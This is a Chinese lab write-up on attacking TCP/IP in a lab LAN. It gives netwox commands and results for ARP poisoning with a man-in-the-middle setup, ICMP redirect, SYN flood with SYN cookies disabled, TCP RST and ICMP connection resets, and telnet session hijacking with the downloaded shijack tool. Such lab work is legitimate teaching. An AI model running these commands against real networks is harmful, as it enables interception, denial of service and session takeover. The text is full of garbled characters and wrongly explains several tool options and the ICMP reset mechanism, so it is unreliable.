本实验室的学习目标是让学生对TCPIP协议的漏洞以及针对这些逅洞的攻击获得第一手的经验。TCPIP协议中的漏洞代表了协议设计和实现中的一种特殊类型的漏润;它们提供了一个宝贵的教训,告诉我们为什么应该从一开始就设计安全性,而不是在事后才添加。此外,研究这些漏洞有助于学生了解网络安全面临的挑战,以及为什么需要采取许多网络安全措施。TCP/P协议的漏洞存在于多个层面。
网络设置。要进行这个实验,学生需要至少3台机器,一台计算机用于攻击,第二台计算机作为受害者,第三台计算机作为观察者。学生可以在同一台主机上设置3台虚拟机,也可以设置2台虚拟机,然后主机作为第三台计算机使用。对于这个实验室,我们将这三台机器放在同一个局域网中,配置如下:
操作系统。本实验室可使用多种操作系统进行实验。我们预构建的虚拟机是基于ubuntu Linux 的,并且这个实验室所需的所有工具都已经安装好了。如果您喜欢使用其他_Unx操作系统,比如Fedora,那么您可以自由使用它们;然而,本实验描述中使用的一些命令可能在其他操作系统中不工作或不存在。
Netwcx 工具。我们需要工县来发送不同类型和不同内容的网络数据包。我们可以用Netwag来做。但是,由于Netwag 的GUI界面使我们很难自动化我们的过程。因此,我们强烈建议学生使用它的命令行版本,即Netwox命令,它是由 Netwag调用的底层命令。
Netwox由一套工具组成,每个工具都有特定的数量。您可以像下面这样运行命令(参数取决于您使用的工耳)。对于某些工具,您必须使用根权限运行它:
# netwox number [parameters ... ]
如果您不确定如何设置参数,您可以通过发出“nettwx nu mber——help”查看手册。您还可以通过运行Netwag来了解参数设置:对于从图形界面执行的每个命令,Netwag实际上调用一个相应的Netwox命令,它显示参数设置。因此,您可以简单地复制并粘贴显示的命令
Wireshark工具。对于这个实验室,您还需要一个好的网络流量嗅探器工具。尽管Netwox自带了一个嗅探器,但您会发现另一个名为Wireshark的工具是一个更好的嗅探器工具。Netwgx和 wireshark都可以下载。如果您正在使用我们预构建的塞拟机,那么这两个工具都已经安装了。要噢探所有的网络流量,这两个工具都需要由根程序运行。
启用ftp和tenet服务器。对于本实验,您可能需要启用ftp和telnet服务器。出于安全考虑,这些服务迪常在默认情况下是禁用的,要在我们预构建的Ubuntu虚拟机中启用它们,你需要以root用户运行以下命令:
启动ftp服务器
# service vsftpd start
启动telnet服务器
# service openbsd-inetd start
对于这个实验,一个实验会议是可取的,特别是如果学生不熟悉工具和环境装饰。如果一个讲师计划举办一个实验谋程(由他/她自己或由助教),建议在实验课程中包括以下内容。我们假设讲师已经在讲座中涵盖了攻击的概念,所以我们不在实验环节中包含它们。
• 使用虚拟机软件。
• wireshark,Netwag和Netwox工具的使用。
• 使用Netwnx命令行工具创建任意TCP, UDP,IP数据包等。
在这个实验中,学生需要对TCPIP协议进行攻击。他们可以使用netwox工具和/或其他工具进行攻击。所有攻击均发生在 Linux 操作系统上。然而,教师也可以要求学生对其他操作系统进行同样的攻击。并对观察结果进行比较。
为了简化TCP 序列号和源端口号的“猜测”,我们假设攻击者和受害者在同一个物理网络上。因此,您可以使用嗅探器工具来获取这些信息。下面是需要实现的攻击列表。
ARP缓存是ARP协议的重要组成部分。一旦执行ARP协议后,MAC地址和IP地址之间的映射被解析,映射就会被缓存。因此,如果该映射已经在缓存中,则无需重复执行ARP协议。然而,由于ARP协议是无状态的。缓存很容易被恶意ARP消息破坏。这种攻击称为ARP缓存投毒攻击。
在这种攻击中,攻击者使用欺骗ARP消息来欺骗受害者接受一个无效的MAC-IP映射,并将该映射存储在其缓存中。根据攻击者的动机,可能会出现各种各样的结果。例如,攻击者可以将一个不存在的MAC地址与受害者的默认网关IP地址相关联,从而对受害者发起DoS攻击;攻击者还可以将攻击对象之间的通信重定向到另一台机器,等等。
在本任务中,您需要演示ARP缓存中毒攻击是如何工作的。在这个任务中有几个命令是有用的。在Linux 中,我们可以使用命令arp来检查当前地址和MAC地址的映射关系。
ARP欺骗攻击的根源是ARP协议设计时认为局域网内部所有用户是可信的,采用广播请求包方式在局域网段中询问映射关系,并在本地使用ARP缓存机制。
以数字地址形式显示所有接口的当前ARP 缓存表:
arp -na
-n 以数字地址形式显示
-a 显示所有接口的当前ARP 缓存表
刚开始ARP缓存表没有其他虚拟机的MAC-IP映射,ping过通信之后就会记录IP地址对应的MAC地址。
工具:Netwox的33号工具可以构造任意的以太网ARP数据报,80号工具可以周期性地发送ARP应答报。
Netwag 的GUI界面:
80:这个工具发送连续的ARP回复。您需要设备名称(上面解释过),以及源和目的IP地址和以太网地址。即使你不知道任何机器的以太网地址,你可以提供@IP作为一个参数,netwox会为你解决它(例如,ip地址为1.2.3.4的机器的以太网地址是@1.2.3.4)。
之后我们在192.168.48.134用netwox工具发送一个数据包给192.168.48.135,命令行版本是:
sudo netwox 80 --eth 00:0c:29:c9:a1:0b --ip 192.168.48.134 --device "Eth0" --eth-dst 00:0c:29:6b:14:ed --ip-dst 192.168.48.135 --sleep 1000
该命令的含义是告诉192.168.48.135主机,IP地址为192.168.48.134的MAC地址为00:0c:29:c9:a1:0b(实际上是192.168.48.136的MAC地址)
之后我们在192.168.48.135主机上查看它的ARP地址缓存表:
发现缓存表中192.168.48.134的MAC地址已经被改为了192.168.48.136的MAC地址00:0c:29:c9:a1:0b。
之后我们在192.168.48.135主机上
ping 192.168.48.134
从上图中我们可以看到,ping发出的IPMP数据包:网络层的目的IP是192.168.48.134主机,但是MAC地址却是192.168.48.136主机的,所以192.168.48.134主机不会接收和处理这个数据包,这个数据包将会被192.168.48.136主机接收和处理。
实施中间人攻击:192.168.48.134分别向192.168.48.135、192.168.48.136发送伪造的请求数据包进行欺骗,使得135的ARP缓存表中的映射关系分别是IP(136)/MAC(00:0c:29:42:43:a4),192.168.48.136IP(135)/MAC(00:0c:29:42:43:a4),这样135要给136发消息时就会发给134,136要给135发消息时也会发给134。
在攻击机A当中执行以下命令 sudo netwox 33 -b (B的mac地址) -g (C的ip地址) -h (B的mac地址) -i(B的ip地址)
说明: -b 显示网络协议下相关的模块; -g 显示与客户端相关的模块; -h 显示与服务器相关的模块; -i 显示与检测主机连通性相关的模块;
我们在134执行攻击135命令:
sudo netwox 33 -b 00:0c:29:6b:14:ed -g 192.168.48.136 -h 00:0c:29:6b:14:ed -i 192.168.48.135
该命令的含义是告诉192.168.48.135主机,IP地址为192.168.48.136的MAC地址为00:0c:29:42:43:a4(实际上是192.168.48.134的MAC地址)
之后我们在192.168.48.135主机上查看它的ARP地址缓存表:
发现缓存表中192.168.48.136的MAC地址已经被改为了192.168.48.134的MAC地址00:0c:29:42:43:a4。
同样地,我们在134执行攻击136命令:
sudo netwox 33 -b 00:0c:29:c9:a1:0b -g 192.168.48.135 -h 00:0c:29:c9:a1:0b -i 192.168.48.136
至此,134作为135和136的中间人攻击已经完成,这样135要给136发消息时就会发给134,136要给135发消息时也会发给134。
路由器使用ICMP重定向消息向主机提供最新的路由信息,主机最初只有最小的路由信息。当主机收到ICMP重定向消息时,它将根据该消息修改路由表。由于缺乏验证,如果攻击者希望受害者以特定的方式设置其路由信息,可以向受害者发送敲骗的ICMP重定向消息,并欺骗受害者修改其路由表。
在本任务中,您应该演示_ICMP重定向攻击是如何工作的,并插述观察到的结果。在Linux下查看路由信息。可以使用route命令。
traceroute到主机192.168.1.102的路由:
traceroute 192.168.1.102
ubuntu下traceroute www.baidu.com全是*,但ping可通,这主要是因为ubuntu下默认的traceroute发送的是UDP包,应该加参数-I(使用ICMP包),traceroute -I www.baidu.com。
我们可以看到第一跳是网关地址192.168.48.2有回包,到达目标地址也有回包,中间的地址和其他信息都是***。
这是因为traceroute程序的设计是利用ICMP及IP header的TTL(Time To Live)栏位(field)。首先,traceroute送出一个TTL是1的IP 数据包(其实,每次送出的为3个40字节的包,包括源地址,目的地址和包发出的时间标签)到目的地,当路径上的第一个路由器(router)收到这个数据包时,它将TTL减1。此时,TTL变为0了,所以该路由器会将此数据包丢掉,并送回一个「ICMP time exceeded」消息(包括发IP包的源地址,IP包的所有内容及路由器的IP地址)。
但是现在中间的路由器大都不会发回“ICMP time exceeded”这个消息了,所以主机traceroute里面显示的全都是***这样的IP地址,因为它不知道经过的路由器的IP地址。
这些工具用于特殊的ICMP攻击,都很容易使用。
攻击机192.168.48.134发送数据包攻击192.168.48.129:
netwox 86 -f "host 192.168.48.129" -gw 192.168.48.134 -i 192.168.48.2
-f代表靶机地址,-g代表靶机的下一跳地址,-i代表伪造的身份。
意思以路由192.168.48.2的名义向数据包的源地址192.168.48.129发送一个ICMP重定向报文,使它使用192.168.48.134为默认的路由。
然后在被攻击的主机192.168.48.129运行前面的命令:
traceroute -I 192.168.1.102
traceroute -I www.baidu.com
traceroute -I 112.80.248.75(www.baidu.com的IP地址)
可以看到192.168.48.129从第一跳地址开始就没有收到任何回包,且无法到达目标地址。
我们在192.168.48.129抓包:
发现traceroute -I 112.80.248.75发出的ICMP数据包的目标地址是112.80.248.75,但是下一跳的地址是192.168.48.134(MAC地址是00:0c:29:42:43:a4),说明我们之前的攻击成功了。
SYN flood是DoS攻击的一种形式,攻击者向攻击者的TCP端口发送大量SYN请求,但攻击者无意完成-way 握手过程。攻击者要么使用敞骗的IP地址,要么不继续 这个过程。通过这种攻击,攻击者可以淹没受害者用于半开连接的队列,即已经完成SYN,SYN-ACK,但还没有得到最终ACK的连接。当此队列已击时,受害者无法再接受任何连接。图1说明了攻击。
队列的大小有一个系统范围的设置。在 Linux 中,我们可以使用以下命令检查系统队列大小设置:
# sysctl -q net.ipv4.tcp_max_syn_backlog
我们可以使用命令“netstat -na”来检查队列的使用情况,即:与侦听端口相关联的半开连接数。这种连接的状态是SYN-RECV。如果3次握手结束,则连接状态为ESTABLISHED。
在本任务中,您需要演示SYN泛洪攻击。您可以先使用netwox工具进行攻击,再使用嗅探工具捕获攻击报文。当攻击正在进行时,在受害机器上运行“netstat -na”命令,并将结果与攻击前的结果进行比较。请描述你是如何知道攻击是否成功的。
SYN Cookie对策:如果您的攻击似乎不成功,您可以调查的一件事是,SYN Cookie机制是否打开了。SYN cookie是一种针对SYN flood攻击的防御机制。如果机器检测到它受到SYN泛洪攻击,该机制将启动。可以使用sysctl命令打开/关团SYN cookie机制:
# sysctl -a | grep cookie (Display the SYN cookie flag)
# sysctl -w net.ipv4.tcp_syncookies=0 (turn off SYN cookie)
# sysctl -w net.ipv4.tcp_syncookies=1 (turn on SYN cookie)
请打开或关闭SYN cookie机制运行您的攻击,并比较结果。在您的报告中,请描述为什么SYN cookie可以有效地保护机器免受SYN泛骐攻击,如果你的导师在讲座中没有介绍这个机制,你可以从互联网上找到SYN cookie机制是如何工作的。
使用以下命令检查系统队列大小设置:
# sysctl -q net.ipv4.tcp_max_syn_backlog
-a (all)显示所有选项,默认不显示LISTEN相关
-t (tcp)仅显示tcp相关选项
-u (udp)仅显示udp相关选项
-n 拒绝显示别名,能显示数字的全部转化成数字。
-l 仅列出有在 Listen (监听) 的服務状态
-p 显示建立相关链接的程序名
-r 显示路由信息,路由表
-e 显示扩展信息,例如uid等
-s 按各个协议进行统计
-c 每隔一个固定时间,执行该netstat命令。
提示:LISTEN和LISTENING的状态只有用-a或者-l才能看到
显示tcp、udp连接:
netstat -atu
# sysctl -a | grep cookie (Display the SYN cookie flag)
# sysctl -w net.ipv4.tcp_syncookies=0 (turn off SYN cookie)
# sysctl -w net.ipv4.tcp_syncookies=1 (turn on SYN cookie)
这些工具用于特定的TCP攻击(SYN和RST攻击)都很简单
刚开始从攻击机192.168.48.134连接192.168.48.135的21端口的ftp服务:
ftp 192.168.48.135
成功连接
也可以换成其他的端口,比如23的telnet服务等:
telnet 192.168.48.135
之后我们在192.168.48.134攻击主机上用netwox的76工具发送攻击数据包:
netwox 76 --dst-ip 192.168.48.135 --dst-port 21
netwox 76 -i 192.168.48.135 -p 21
在192.168.48.135被攻击主机上查看tcp、udp连接队列的使用情况
ftp服务的SYN-RECV半连接越来越多,
抓包可以看到192.168.48.135收到了大量的TCP连接建立的请求:
从观察机192.168.48.136上连接:
ftp 192.168.48.135
已经连接不上了
192.168.48.134攻击主机上继续攻击:
在192.168.48.135被攻击主机上查看tcp、udp连接队列的使用情况:
依旧有部分的TCP半连接,但是数量已经不多了
从观察机192.168.48.136上连接:
ftp 192.168.48.135
连接会比较缓慢,多连几次还是可以连接上。
用Wireshark抓取TCP包:
发现192.168.48.135主机对长时间不完成3次握手的半连接进行了重置:
SYN Cookie是对TCP服务器端的三次握手协议作一些修改,专门用来防范SYN Flood攻击的一种手段。它的原理是,在TCP服务器收到TCP SYN包并返回TCP SYN+ACK包时,不分配一个专门的数据区,而是根据这个SYN包计算出一个cookie值。在收到TCP ACK包时,TCP服务器在根据那个cookie值检查这个TCP ACK包的合法性。如果合法,再分配专门的数据区进行处理未来的TCP连接。
TCP RST攻击可以使两个攻击对象之间已经建立的TCP连接终止。例如,用户A和用户日之间已经建立了telnet连接(TCP),攻击者可以通过欺骗用户A到用户B的 RST报文,破坏用户B到用户A的 telnet连接。为了成功进行这种攻击,攻击者需要正确构造TCP RST报文。
在本任务中,需要对A和B之间已有的 telnet连接进行TCP RST攻击,然后再对ssh连接进行相同的攻击。请描述一下你的观察。简单地说,我们假设攻击者和曼害者在同一个局域网,即攻击者可以观察到A和B之间的TCP流量。
先在观察机192.168.48.136对被攻击机192.168.48.135进行telnet和 ssh连接:
telnet 192.168.48.135
ssh 192.168.48.135
(“Reset every TCP packet”)
之后我们在攻击机192.168.48.134用netwox的78号工具(“Reset every TCP packet”)对192.168.48.135被攻击的22端口(ssh服务)和23端口(telnet服务)进行攻击:
netwox 78 --device "Eth0" --filter "host 192.168.48.135 and tcp port 22" --ips "192.168.48.136"
过滤器参数设置目标服务主机和端口,ips参数设置连接主机IP,也可以不设置就会对所有主机进行无差别攻击。
Netwag图形界面:
发现192.168.48.136主机连接192.168.48.135主机ssh服务已经断开
ssh连接被拒绝。
netwox 78 --device "Eth0" --filter "host 192.168.48.135 and tcp port 23" --ips "192.168.48.136"
发现192.168.48.136主机连接192.168.48.135主机telnet服务已经断开,再尝试连接192.168.48.135主机telnet服务也被关闭:
让我们通过在目前广泛使用的应用程序上进行试验,使TCP RST攻击变得更加有趣。在本任务中,我们选择视频流应用程序。对于这个任务,你可以选择一个你熟悉的视频流网站(我们不会在这里命名任何特定的网站)。大多数视频共享网站都与客户端建立TCP连接,实现视频内容的流媒体。攻击者的目标是破坏在受害者和视频流机器之间建立的TCP会话。为了简化实验室,我们假设攻击者和受害者在同一个局域网。在下面,我们指述一个用户(受害者)和一些视频流网站之间的常见互动;
•受害者在视频流网站中浏览视频内容,并连择其中一个视频进行视频流。
•通常视频内容由不同的机器托管,所有视频内容都位于不同的机器上。受害者选择视频后,将在受害者机器和内容服务器之间建立TCP会话进行视频流。然后,受害者可以观看他/她透择的视频。
你的任务是通过切断受害者和内容服务器之间的TCP连接来中断视频流。您可以让受害者用户从另一台(虚拟)机器或与攻击者相同的(虚拟)机器浏览视频流网站。请注意,为了避免责任问题,任何攻击包都应该针对受害者机器(即自己运行的机器),而不是内容服务器机器(不属于您)。
在攻击机192.168.48.134上运行攻击命令,只需要指定被攻击主机192.168.48.135即可:
netwox 78 --device "Eth0" --filter "host 192.168.48.135"
或
netwox 78 -i 192.168.48.135
再查看192.168.48.135服务器已经无法登录视频网站了
ICMP报文也可以用来实现连接复位攻击。为此,攻击者向TCP连接的两个端点中的任何一个发送ICMP错误消息,表示“硬件错误”。这个连接可以被立即断开,因为 RFC 1122规定,当主机收到这样一个ICMP错误消息时,应该中止相应的连接。Rfc 1122将“硬件错误”定义为类型为3(目的地不可达)的ICMP错误消息,代码为2(协议不可达)、3(端口不可达)或4(需要分段并设置DF位)。
ICMP源端抑制攻击消息被拥塞的路由器用来告诉TCP发送者放慢速度。攻击者可以伪造这些消息,对TCP发送着进行拒绝服务攻击。
在本任务中,需要发起ICMP盲连接复位攻击和ICMP源端抑制攻击。而要注意的是,在某些TCP状态下,有些系统可能会合理地忽略这类ICMP错误。你需要在实验报告中措述你的观察结果。
先在主机192.168.48.136上建立到192.168.48.135的telnet连接:
(Sniff and send ICMP4/ICMP6 destination unreachable)
然后从攻击机192.168.48.134使用82号工具发送攻击数据包:
netwox 82 --device "Eth0" --filter "host 192.168.48.135 and tcp port 23" --code 2
代码为2(协议不可达)、3(端口不可达)
所有主机到192.168.48.135的端口和协议分别不可达:
但是观察机192.168.48.136到被攻击的主机192.168.48.135的telnet连接并没有中断:
(Sniff and send ICMP4/ICMP6 source quench)
在攻击机192.168.48.134上运行攻击命令:
netwox 85 --device "Eth0" --filter "host 192.168.48.135 and tcp port 23" --src-ip 192.168.48.136
发现的确有很多Source Quench的ICMP数据包,但是它只能起到降低被攻击主机192.168.48.135发送数据包速率的作用,要真正达到拒绝服务的目的,还需要很多主机一起发送降低发送速率的请求,让数据包发送速率足够低。
在ICMP Blind Connection-Reset攻击中,利用RST报文来发送ICMP错误消息,表示“硬件错误”来中断TCP的连接。
而Source-Quench是ICMP用于控制主机发送TCP数据包的速率,当接收端目的主机发现TCP数据包发送速率太快时,会向源主机发送ICMP 的Source-Quench以用于告诉源主机降低发送速率。所以当攻击者伪造ICMP Source-Quench的时候,会导致正常TCP链路上的数据传送速率降低。但是在实际的操作中,猜测是这种降低并不够明显,未能造成攻击的效果。
TCP Session Hijacking攻击的目的是通过向会话中注入恶意内容来劫持两个受害者之间已经存在的TCP连接(会话)。如果该连接是telnet会话,攻击者可以在该会话中注入恶意命令,导致被攻击者执行恶意命令。我们将在这个任务中使用telnet。我们还假设攻击者和受害者在同一局域网。
注意:如果使用 wireshark观察网络流量。需要注意的是,wireshark在显示TCP序列号时,默认显示的是相对序列号,相对序列号等于实际序列号减去初始序列号。如果需要查看报文的实际序列号,需要右键单击wireshark输出信息中的“TCP”部分,选择“协议优先级”。在弹出窗口中,取消“相对序列号和窗口缩放”选项。
先在观察机192.168.48.136跟被攻击服务器192.168.48.135建立telnet连接:
然后抓包查看服务器发给客户端的最后一个数据包的参数:
(Spoof Ip4tep packet)用于欺骗TCP/IP报文。有了正确的参数,
所有的TCP攻击都可以通过该工具完成。它允许用户修改报文的IP头、TCP头和TCP数据。这是用于会话劫持,可以很容易地用来编写操作系统指纹扫描仪。
netwox 40 --ip4-dontfrag --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.48.136 --ip4-dst 192.168.48.135 --tcp-src 43168 --tcp-dst 23 --tcp-seqnum 43 --tcp-acknum 1829 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6c73"
40是netwox的40号工具,在ip4-src后输入客户端的地址,在ip4-dst后输入服务器A的地址,tcp-src输入源端口地址,tcp-seqnum和tcp-acknum输入伪造的值,tcp-data是要发的数据的16进制值,这里的“6c73”是ls的16进制。
抓包发现192.168.48.134成功伪造客户端192.168.48.136给服务器192.168.48.136发送数据包:
接下来我们为了执行更多命令获得更多信息,我们可以使用一些专门针对TCP劫持的工具,例如shijack、Hunt等
我们先下一个shijack工具:
wget https://dl.packetstormsecurity.net/sniffers/shijack.tgz
然后解压缩就可以直接使用了:
tar -zxvf shijack.tgz
使用shijack工具输入以下命令,参数依次为网卡名,源地址,源端口,目的地址,telnet端口:
./shijack-lnx eth0 192.168.48.136 43168 192.168.48.135 23
之后就等待目标客户端和服务器通信,之后shijack工具就会自动获取seq,ack进行劫持:
攻击机192.168.48.134成功目标劫持会话
原客户端192.168.48.136的会话会被中断,没办法再输入和删除任何命令:
抓包看到攻击机192.168.48.134也成功伪造客户端192.168.48.136给服务器192.168.48.136发送数据包:
TCP攻击的难度程度取决于许多因素。请调查以下情况,并在你的实验报告中写下你的发现和观察结果。
•研究初始序列号(ISN)的模式,并回答这些模式是否可预测。
•研究TCP窗口大小,并描述您的观察结果。
•研究源端口号的模式,并回答这些模式是否可预测。
需要注意的是,由于Linux中的一些漏洞已经被修复,上述攻击中的一些将在Linux中失败,但它们仍然可能成功地政击其他操作系统。
你应该既交一份实验报告。报告应包括下列各节:
• 设计:攻击的设计,包括攻击策略、攻击时使用的数据包、使用的工具等。
• 观察:你的攻击成功了吗?你怎么知道它是否成功了?你希望看到什么?你观察到了什么?你对这个观察结果感到惊讶吗?